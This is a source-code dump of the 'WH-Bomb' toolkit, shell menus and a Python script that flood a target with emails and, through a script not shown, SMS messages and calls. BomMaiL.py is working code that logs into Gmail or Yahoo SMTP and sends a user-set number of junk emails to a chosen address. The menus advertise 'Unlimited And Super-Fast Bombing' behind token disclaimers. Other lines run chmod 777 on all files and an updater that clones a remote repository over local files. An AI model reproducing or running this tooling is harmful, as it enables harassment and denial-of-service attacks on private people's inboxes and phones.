apc=`which pip` 105 | if [ "$?" != "0" ]; then 106 | FaIl="YES" 107 | echo ${BLUE}[x]${RED} pip installation '->' not found!${RESTORE}; 108 | sleep 1 109 | echo ${BLUE}[↻]${YELLOW} This script requires pip to work!${Resetr1}; 110 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 111 | echo "" 112 | sudo apt-get install python-pip 113 | echo "" 114 | else 115 | echo ${BLUE}[✓]${YELLOW}" pip installation : ${GREEN}found!"${RESTORE}; 116 | sleep 1 117 | fi 118 | 119 | apc=`which pip3` 120 | if [ "$?" != "0" ]; then 121 | FaIl="YES" 122 | echo ${BLUE}[x]${RED} pip3 installation '->' not found!${RESTORE}; 123 | sleep 1 124 | echo ${BLUE}[↻]${YELLOW} This script requires pip3 to work!${Resetr1}; 125 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 126 | echo "" 127 | sudo apt-get install python-pip3 128 | echo "" 129 | else 130 | echo ${BLUE}[✓]${YELLOW}" pip3 installation : ${GREEN}found!"${RESTORE}; 131 | sleep 1 132 | fi 133 | 134 | 135 | pip install -r $LPARTH/whb-bin/requirements.txt 136 | pip3 install -r $LPARTH/whb-bin/requirements.txt 137 | bash $LPARTH/WHB.sh 138 | -------------------------------------------------------------------------------- /usr-bin/not: -------------------------------------------------------------------------------- 1 | WH-Bomb Has Been OpenSourced !!! 2 | Please Contribute To Keep it Alive. 3 | Update To WH-Bomb v1.7b (A More Colurful WH-Bomb) 4 | -------------------------------------------------------------------------------- /usr-bin/requirements.txt: -------------------------------------------------------------------------------- 1 | requests >=2, <3 2 | urllib3 >=1, <2 -------------------------------------------------------------------------------- /usr-bin/scBomb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LPARTH="/usr/bin" 3 | homemenu="whmenu.sh" 4 | RED=$'\e[1;31m' 5 | GREEN=$'\e[1;32m' 6 | YELLOW=$'\e[1;33m' 7 | BLUE=$'\e[1;34m' 8 | RESTORE=$'\e[0m' 9 | clear 10 | echo "${YELLOW}" 11 | echo " " 12 | echo "WWWWWWWW WWWWWWWWHHHHHHHHH HHHHHHHHH " 13 | echo "W::::::W W::::::WH:::::::H H:::::::H " 14 | echo "W::::::W W::::::WH:::::::H H:::::::H " 15 | echo "W::::::W W::::::WHH::::::H H::::::HH " 16 | echo " W:::::W WWWWW W:::::W H:::::H H:::::H " 17 | echo " W:::::W W:::::W W:::::W H:::::H H:::::H " 18 | echo " W:::::W W:::::::W W:::::W H::::::HHHHH::::::H " 19 | echo " W:::::W W:::::::::W W:::::W H:::::::::::::::::H ---------------" 20 | echo " W:::::W W:::::W:::::W W:::::W H:::::::::::::::::H -:::::::::::::-" 21 | echo " W:::::W W:::::W W:::::W W:::::W H::::::HHHHH::::::H ---------------" 22 | echo " W:::::W:::::W W:::::W:::::W H:::::H H:::::H " 23 | echo " W:::::::::W W:::::::::W H:::::H H:::::H " 24 | echo " W:::::::W W:::::::W HH::::::H H::::::HH " 25 | echo " W:::::W W:::::W H:::::::H H:::::::H " 26 | echo " W:::W W:::W H:::::::H H:::::::H " 27 | echo " WWW WWW HHHHHHHHH HHHHHHHHH " 28 | echo "${BLUE}" 29 | echo "" 30 | echo " @@@@@@ @@@@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@ @@@ " 31 | echo "@@@@@@@ @@@@@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@ " 32 | echo "!@@ @@! @@! @@! !@@ @@! !@@ @@! @@@ @@! @@! " 33 | echo "!@! !@! !@! !@! !@! !@! !@! !@! @!@ !@! !@! " 34 | echo "!!@@!! @!! !!@ @!@ !!@@!! @!@!@!@!@ !@! @!@!@!@! @!! @!! " 35 | echo " !!@!!! !@! ! !@! !!@!!! !!!@!@!!! !!! !!!@!!!! !!! !!! " 36 | echo " !:! !!: !!: !:! !!: :!! !!: !!! !!: !!: " 37 | echo " !:! :!: :!: !:! :!: :!: :!: !:! :!: :!: " 38 | echo ":::: :: ::: :: :::: :: ::: ::: :: ::: :: :::: :: :::: " 39 | echo ":: : : : : :: : : :: :: : : : : : :: : : : :: : : " 40 | echo "" 41 | echo "${RED}" 42 | echo " ______ ____ ____ __ __ ______ _____ ______ " 43 | echo "(_ _ \ / __ \ / __ \ \ \ / / (_ _ \ / ___/ ( __ \ " 44 | echo " ) (_) ) / / \ \ / / \ \ () \/ () ) (_) ) ( (__ ) (__) ) " 45 | echo " \ _/ ( () () ) ( () () ) / _ _ \ \ _/ ) __) ( __/ " 46 | echo " / _ \ ( () () ) ( () () ) / / \/ \ \ / _ \ ( ( ) \ \ _ " 47 | echo " _) (_) ) \ \__/ / \ \__/ / /_/ \_\ _) (_) ) \ \___ ( ( \ \_))" 48 | echo "(______/ \____/ \____/ (/ \) (______/ \____\ )_) \__/ " 49 | 50 | echo "${GREEN}" 51 | echo "Press Enter To Continue" 52 | read a1 53 | if [[ -s update.speedx ]];then 54 | echo "All Requirements Found...." 55 | else 56 | echo 'Installing Requirements....' 57 | echo . 58 | echo . 59 | 60 | 61 | echo Requirements Installed.... 62 | echo Press Enter To Continue... 63 | read upd 64 | fi 65 | while : 66 | do 67 | rm *.xxx >/dev/null 2>&1 68 | clear 69 | 70 | RED=$'\e[1;31m' 71 | GREEN=$'\e[1;32m' 72 | YELLOW=$'\e[1;33m' 73 | BLUE=$'\e[1;34m' 74 | RESTORE=$'\e[0m' 75 | homepage=$LPARTH/WHB.sh 76 | homemenu="whmenu.sh" 77 | 78 | echo " █ █░ ██░ ██ " 79 | echo "▓█░ █ ░█░▓██░ ██▒" 80 | echo "▒█░ █ ░█ ▒██▀▀██░" 81 | echo "░█░ █ ░█ ░▓█ ░██ " 82 | echo "░░██▒██▓ ░▓█▒░██▓" 83 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒" 84 | echo " ▒ ░ ░ ▒ ░▒░ ░" 85 | echo " ░ ░ ░ ░░ ░" 86 | echo " ░ ░ ░ ░" 87 | echo " " 88 | 89 | 90 | echo " " 91 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 92 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 93 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 94 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 95 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 96 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 97 | echo " " 98 | echo "${RESTORE}" 99 | echo "${RED}==============================================================================================================" 100 | echo "${RESTORE}" 101 | echo "${BLUE}" 102 | echo "LEGAL DISCLAIMER >>" 103 | echo "${RED}" 104 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 105 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 106 | echo "state and federal laws. Developers assume no liability and are not responsible" 107 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 108 | echo "" 109 | echo "${RED}==============================================================================================================" 110 | echo "${RESTORE}" 111 | echo "${BLUE}" 112 | echo -e "\e[1;31m" 113 | echo "${GREEN}" 114 | echo " " 115 | echo "Press 1 To Start SMS Bomber " 116 | echo "Press 2 To Start Call Bomber " 117 | echo "Press 3 To Update (Works On Linux And Linux Emulators) " 118 | echo "Press 4 To View Features " 119 | echo "Press 5 To Back " 120 | echo "" 121 | read -p ' WH :~ ' ch 122 | if [ $ch -eq 1 ];then 123 | clear 124 | echo -e "\e[1;32m" 125 | rm *.xxx >/dev/null 2>&1 126 | python3 /usr/bin/whb-bin/bomber.py 127 | rm *.xxx >/dev/null 2>&1 128 | exit 0 129 | elif [ $ch -eq 2 ];then 130 | clear 131 | echo -e "\e[1;32m" 132 | echo 'Call Bomb By SpeedX'> call.xxx 133 | python3 /usr/bin/whb-bin/bomber.py call 134 | rm *.xxx >/dev/null 2>&1 135 | exit 0 136 | elif [ $ch -eq 3 ];then 137 | clear 138 | apt install git -y 139 | echo -e "\e[1;34m Downloading Latest Files..." 140 | git clone https://github.com/TheSpeedX/WH-Boom 141 | if [[ -s WH-Boom/WH-Boom.sh ]];then 142 | cd WH-Boom 143 | cp -r -f * .. > temp 144 | cd .. 145 | rm -rf WH-Boom >> temp 146 | rm update.speedx >> temp 147 | rm temp 148 | chmod +x WH-Boom.sh 149 | fi 150 | echo -e "\e[1;32m WH-Boom Will Restart Now..." 151 | echo -e "\e[1;32m All The Required Packages Will Be Installed..." 152 | echo -e "\e[1;34m Press Enter To Proceed To Restart..." 153 | read a6 154 | ./WH-Boom.sh 155 | exit 156 | elif [ $ch -eq 4 ];then 157 | clear 158 | echo -e "\e[1;33m" 159 | figlet WH-Boom 160 | echo -e "\e[1;34mCreated By \e[1;34m" 161 | 162 | 163 | echo "██╗ ██╗██╗ ██╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 164 | echo "██║ ██║██║ ██║ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 165 | echo "██║ █╗ ██║███████║█████╗███████║███████║██║ █████╔╝ █████╗ ██████╔╝█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 166 | echo "██║███╗██║██╔══██║╚════╝██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 167 | echo "╚███╔███╔╝██║ ██║ ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 168 | echo " ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 169 | echo " " 170 | 171 | 172 | 173 | 174 | 175 | echo " " 176 | echo -e "\e[1;32m Features\e[1;34m" 177 | echo " [+] Unlimited And Super-Fast Bombing" 178 | echo " [+] International Bombing" 179 | echo " [+] Call Bombing " 180 | echo " [+] Protection List" 181 | echo " [+] Automated Future Updates" 182 | echo " [+] Easy To Use And Embed in Code" 183 | echo -e "\e[1;32m Contributors\e[1;33m" 184 | #echo -e "\e[1;33m [*] SpeedX \e[1;31m" 185 | #echo " [-] Mail At: ggspeedx29@gmail.com" 186 | echo -e "\e[1;33m [*] The Black Hacker Roxstar \e[1;31m" 187 | #echo " [-] Ping At: http://wa.me/917600140353" 188 | echo -e "\e[1;33m [*] Rieltar \e[1;31m" 189 | #echo " [-] Ping At: https://t.me/Rieltar" 190 | echo -e "\e[1;33m [*] 0n1cOn3 (Stefan) \e[1;31m" 191 | #echo " [-] Mail At: 0n1cOn3@gmx.ch" 192 | echo "" 193 | echo "" 194 | echo -e "\e[1;31m This Script is Only For Educational Purposes or To Prank.\e[0m" 195 | echo -e "\e[1;31m Do not Use This To Harm Others. \e[0m" 196 | echo -e "\e[1;31m I Am Not Responsible For The Misuse Of The Script. \e[0m" 197 | echo -e "\e[1;32m Make Sure To Update it If It Does not Work.\e[0m" 198 | echo " " 199 | 200 | echo -e "\e[4;31m That's All !!!\e[0m" 201 | echo -e "\e[1;34m For Any Queries contuct github Me!!!\e[0m" 202 | 203 | echo -e "\e[1;32m Github: https://github.com/wh-hackerexploit \e[0m" 204 | echo -e "\e[4;32m YouTube Page: https://www.youtube.com/channel/UCj6ekUzjItnjP6T7I9r1WMA?sub_confirmation=1 \e[0m" 205 | echo "Press Enter To Go Home" 206 | read a3 207 | clear 208 | elif [ $ch -eq 5 ];then 209 | clear 210 | echo -e "\e[1;31m" 211 | figlet WH-Boom 212 | echo -e "\e[1;34m Created By \e[1;32m" 213 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 214 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 215 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 216 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 217 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 218 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 219 | echo " " 220 | 221 | echo -e "\e[1;34m For Any Queries contuct Me on github!!!\e[0m" 222 | 223 | echo -e "\e[1;32m Github: https://github.com/wh-hackerexploit \e[0m" 224 | echo -e "\e[4;32m YouTube Page: https://www.youtube.com/channel/UCj6ekUzjItnjP6T7I9r1WMA?sub_confirmation=1 \e[0m" 225 | echo " " 226 | exit 0 227 | else 228 | echo -e "\e[4;32m Invalid Input !!! \e[0m" 229 | echo "Press Enter To Go Home" 230 | read a3 231 | clear 232 | fi 233 | done 234 | 235 | -------------------------------------------------------------------------------- /usr-bin/scifi.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/usr-bin/scifi.mp3 -------------------------------------------------------------------------------- /usr-bin/whmenu.sh: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | ################################################################################### 3 | ## Name : Hacker Exploit ## 4 | ## POWER BY >> WH-HackerExploit ## 5 | ## version : 2.0.1 ## 6 | ## Developer: R47 ## 7 | ## ## 8 | ##-------------------------------------------------------------------------------## 9 | ## LEGAL DISCLAIMER >> ## 10 | ## ## 11 | ## Do not attempt to violate the law with anything contained here. If this ## 12 | ## is your intention, then LEAVE NOW! Neither administration of this ## 13 | ## server, the authors of this material, or anyone else affiliated in any ## 14 | ## way, is going to accept responsibility for your actions. ## 15 | ################################################################################### 16 | ################################################################################### 17 | 18 | 19 | #run script 20 | 21 | #!/bin/bash 22 | LPARTH="/usr/bin" 23 | RED=$'\e[1;31m' 24 | GREEN=$'\e[1;32m' 25 | YELLOW=$'\e[1;33m' 26 | BLUE=$'\e[1;34m' 27 | RESTORE=$'\e[0m' 28 | homepage=$LPARTH/WHB.sh 29 | homemenu="whmenu.sh" 30 | 31 | clear 32 | 33 | #logo or name 34 | echo "${GREEN} WELCOME TO The ${RESTORE}" 35 | echo "${RESTORE}" 36 | echo "${YELLOW}" 37 | 38 | echo " █ █░ ██░ ██ " 39 | echo "▓█░ █ ░█░▓██░ ██▒" 40 | echo "▒█░ █ ░█ ▒██▀▀██░" 41 | echo "░█░ █ ░█ ░▓█ ░██ " 42 | echo "░░██▒██▓ ░▓█▒░██▓" 43 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒" 44 | echo " ▒ ░ ░ ▒ ░▒░ ░" 45 | echo " ░ ░ ░ ░░ ░" 46 | echo " ░ ░ ░ ░" 47 | echo " " 48 | echo " " 49 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 50 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 51 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 52 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 53 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 54 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 55 | echo " " 56 | #egrep -i ver toolinfo; 57 | 58 | 59 | echo "${RED}==============================================================================================================" 60 | echo "${RESTORE}" 61 | echo "${BLUE}" 62 | echo "LEGAL DISCLAIMER >>" 63 | echo "${RED}" 64 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 65 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 66 | echo "state and federal laws. Developers assume no liability and are not responsible" 67 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 68 | echo "" 69 | echo "${RED}==============================================================================================================" 70 | echo "${RESTORE}" 71 | echo "${RESTORE}" 72 | 73 | sleep 1.5; 74 | 75 | 76 | echo "Select Your target Option >" 77 | echo "${YELLOW}" 78 | 79 | echo "${RED}" 80 | echo "Exit for [ Ctrl + c ] :-)" 81 | echo "${YELLOW}" 82 | select planet in "Mail-Boom" "SMS-and-Call" 83 | do 84 | if [ "$planet" == Mail-Boom ] 85 | 86 | then 87 | python $LPARTH/whb-bin/BomMaiL.py 88 | 89 | bash $homemenu 90 | 91 | elif [ "$planet" == SMS-and-Call ] 92 | then 93 | bash $LPARTH/whb-bin/scBomb.sh 94 | bash $homemenu 95 | fi 96 | done 97 | 98 | -------------------------------------------------------------------------------- /whb-bin/BomMaiL.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #BomMail 3 | 4 | import os 5 | import smtplib 6 | import getpass 7 | import sys 8 | import time 9 | from colorama import init, Style, Back, Fore 10 | import os 11 | os.system('cls' if os.name == 'nt' else 'clear') 12 | print """ 13 | 14 | WWWWWWWW WWWWWWWWHHHHHHHHH HHHHHHHHH 15 | W::::::W W::::::WH:::::::H H:::::::H 16 | W::::::W W::::::WH:::::::H H:::::::H 17 | W::::::W W::::::WHH::::::H H::::::HH 18 | W:::::W WWWWW W:::::W H:::::H H:::::H 19 | W:::::W W:::::W W:::::W H:::::H H:::::H 20 | W:::::W W:::::::W W:::::W H::::::HHHHH::::::H 21 | W:::::W W:::::::::W W:::::W H:::::::::::::::::H --------------- 22 | W:::::W W:::::W:::::W W:::::W H:::::::::::::::::H -:::::::::::::- 23 | W:::::W W:::::W W:::::W W:::::W H::::::HHHHH::::::H --------------- 24 | W:::::W:::::W W:::::W:::::W H:::::H H:::::H 25 | W:::::::::W W:::::::::W H:::::H H:::::H 26 | W:::::::W W:::::::W HH::::::H H::::::HH 27 | W:::::W W:::::W H:::::::H H:::::::H 28 | W:::W W:::W H:::::::H H:::::::H 29 | WWW WWW HHHHHHHHH HHHHHHHHH 30 | 31 | 32 | _ _ _ 33 | /'\_/`\ _ (_ ) ( ) ( ) 34 | | | _ _ (_) | | | |_ _ _ ___ ___ | |_ __ _ __ 35 | | (_) | /'_` )| | | | | '_`\ /'_`\ /'_`\ /' _ ` _ `\| '_`\ /'__`\( '__) 36 | | | | |( (_| || | | | | |_) )( (_) )( (_) )| ( ) ( ) || |_) )( ___/| | 37 | (_) (_)`\__,_)(_)(___) (_,__/'`\___/'`\___/'(_) (_) (_)(_,__/'`\____)(_) 38 | 39 | """ 40 | 41 | print '_______________________________________________________________________________________' 42 | print '' 43 | def BomEmail(): 44 | if os.name == 'nt': 45 | os.system('cls') 46 | else: 47 | os.system('clear') 48 | print '1.Gmail ' 49 | print '2.Yahoo ' 50 | print '[*] Back for [ Ctrl + c ]' 51 | print '' 52 | server = raw_input ('Type-MailServer Number : ') 53 | user = raw_input('Attacker-Email: ') 54 | passwd = getpass.getpass('Attacker-Password: ') 55 | 56 | 57 | to = raw_input('\nTo: ') 58 | #subject = raw_input('Subject: ') 59 | #Random msg generator start 60 | import random 61 | import string 62 | 63 | digits = "".join( [random.choice(string.digits) for i in xrange(8)] ) 64 | chars = "".join( [random.choice(string.letters) for i in xrange(15)] ) 65 | 66 | body = digits + chars 67 | #Random msg generator End 68 | 69 | total = input('Number of send: ') 70 | 71 | if server == 'gmail' or '1' or 'Gmail': 72 | smtp_server = 'smtp.gmail.com' 73 | port = 587 74 | elif server == 'yahoo' or '2' or 'Yahoo': 75 | smtp_server = 'smtp.mail.yahoo.com' 76 | port = 25 77 | else: 78 | print 'Kindly Enter Your Answer in 1 or 2 in Mail Server.' 79 | sys.exit() 80 | 81 | print '' 82 | 83 | try: 84 | server = smtplib.SMTP(smtp_server,port) 85 | server.ehlo() 86 | if smtp_server == "smtp.gmail.com": 87 | server.starttls() 88 | server.login(user,passwd) 89 | for i in range(1, total+1): 90 | subject = os.urandom(9) 91 | msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body 92 | server.sendmail(user,to,msg) 93 | print "\r[@]E-mails sent: %i" % i 94 | sys.stdout.flush() 95 | server.quit() 96 | print '\n Done !!!' 97 | print ' BOOMBING :~ Enjoy :)' 98 | except KeyboardInterrupt: 99 | print '[-] Canceled' 100 | sys.exit() 101 | except smtplib.SMTPAuthenticationError: 102 | print '\n[!] Allow access to less secure apps on your gmail account. https://www.google.com/settings/security/lesssecureapps' 103 | sys.exit() 104 | -------------------------------------------------------------------------------- /whb-bin/WHB.sh: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | ################################################################################### 3 | ## Name : Hacker Exploit ## 4 | ## POWER BY >> WH-HackerExploit ## 5 | ## version : 2.0.1 ## 6 | ## Developer: R47 ## 7 | ## ## 8 | ##-------------------------------------------------------------------------------## 9 | ## LEGAL DISCLAIMER >> ## 10 | ## ## 11 | ## Do not attempt to violate the law with anything contained here. If this ## 12 | ## is your intention, then LEAVE NOW! Neither administration of this ## 13 | ## server, the authors of this material, or anyone else affiliated in any ## 14 | ## way, is going to accept responsibility for your actions. ## 15 | ################################################################################### 16 | ################################################################################### 17 | 18 | 19 | #run script 20 | 21 | #!/bin/bash 22 | LPARTH=`pwd` 23 | RED=$'\e[1;31m' 24 | GREEN=$'\e[1;32m' 25 | YELLOW=$'\e[1;33m' 26 | BLUE=$'\e[1;34m' 27 | RESTORE=$'\e[0m' 28 | homepage=$LPARTH/WHB.sh 29 | homemenu="whmenu.sh" 30 | 31 | chmod 777 * 32 | rm -rf $LPARTH/wh2update-data-r47 33 | rm -rf $LPARTH/update-rProgress.sh 34 | sudo service postgresql stop 35 | 36 | clear 37 | 38 | #logo or name 39 | echo "${GREEN} WELCOME TO The ${RESTORE}" 40 | echo "${RESTORE}" 41 | echo "${YELLOW}" 42 | 43 | 44 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 45 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 46 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 47 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 48 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 49 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 50 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 51 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 52 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 53 | echo " ░ " 54 | echo " " 55 | 56 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 57 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 58 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 59 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 60 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 61 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 62 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 63 | #egrep -i ver toolinfo; 64 | 65 | echo "${RESTORE}" 66 | echo "${RED}==============================================================================================================" 67 | echo "${RESTORE}" 68 | echo "${BLUE}" 69 | echo "LEGAL DISCLAIMER >>" 70 | echo "${RED}" 71 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 72 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 73 | echo "state and federal laws. Developers assume no liability and are not responsible" 74 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 75 | echo "" 76 | echo "${RED}==============================================================================================================" 77 | echo "${RESTORE}" 78 | echo "${RESTORE}" 79 | 80 | sleep 1.5; 81 | 82 | echo "${YELLOW}" 83 | echo "[*] Checking For Internet Connection >>>>>>>" 84 | echo "" 85 | function checkinternet() 86 | { 87 | ping -c 1 google.com > /dev/null 2>&1 88 | if [[ "$?" != 0 ]] 89 | then 90 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 91 | echo 92 | echo -e "[*] This framework Needs An Active Internet Connection" 93 | echo 94 | echo -e "[*] HackerExploit >> Exit :( " 95 | echo && sleep 2 96 | exit 97 | else 98 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 99 | fi 100 | } 101 | checkinternet 102 | 103 | sleep 3; 104 | clear 105 | 106 | #logo or name 107 | echo "${GREEN} WELCOME TO The ${RESTORE}" 108 | echo "${RESTORE}" 109 | echo "${YELLOW}" 110 | 111 | 112 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 113 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 114 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 115 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ 